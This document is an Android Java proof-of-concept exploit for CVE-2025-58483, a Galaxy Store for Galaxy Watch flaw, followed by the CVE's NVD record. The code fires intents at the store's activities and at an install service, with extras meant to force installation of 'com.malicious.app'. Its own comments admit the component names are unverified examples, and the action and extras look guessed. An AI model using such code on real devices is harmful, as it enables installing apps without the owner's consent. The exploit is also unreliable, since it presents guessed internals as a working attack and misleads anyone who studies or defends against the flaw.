CVE-2025-58483

// CVE-2025-58483 PoC - Exploit improper component export in Galaxy Store for Galaxy Watch // This PoC demonstrates how a local attacker can abuse exported components package com.example.cve202558483; import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Attempt to exploit improper exported components in Galaxy Store exploitGalaxyStore(); } private void exploitGalaxyStore() { try { // Target package: com.sec.android.app.samsungapps // Exported component names (examples - actual names need enumeration) // Method 1: Direct component invocation String[] exportedActivities = { "com.sec.android.app.samsungapps.MainActivity", "com.sec.android.app.samsungapps.InstallActivity", "com.sec.android.app.samsungapps.DownloadActivity" }; for (String activity : exportedActivities) { Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.sec.android.app.samsungapps", activity )); // Add extra data to trigger app installation intent.putExtra("package_name", "com.malicious.app"); intent.putExtra("install_action", true); startActivity(intent); } // Method 2: Using action strings Intent installIntent = new Intent(); installIntent.setAction("com.sec.android.app.samsungapps.ACTION_INSTALL"); installIntent.setPackage("com.sec.android.app.samsungapps"); installIntent.putExtra("app_id", "arbitrary_app_id"); installIntent.putExtra("force_install", true); startService(installIntent); } catch (Exception e) { e.printStackTrace(); } } } // Requirements: // 1. Local access to Galaxy Watch device // 2. Target: Galaxy Store for Galaxy Watch < 1.0.06.29 // 3. No special permissions required for exploitation // 4. Attack vector: AV:L (Local), PR:N (No privileges), UI:N (No user interaction)

{"cve": {"id": "CVE-2025-58483", "sourceIdentifier": "[email protected]", "published": "2025-12-02T02:15:48.223", "lastModified": "2025-12-04T18:11:21.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper export of android application components in Galaxy Store for Galaxy Watch prior to version 1.0.06.29 allows local attacker to install arbitrary application on Galaxy Store."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:galaxy_store:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.06.29", "matchCriteriaId": "0557CD83-4ADF-4707-912F-15F278993261"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=12", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}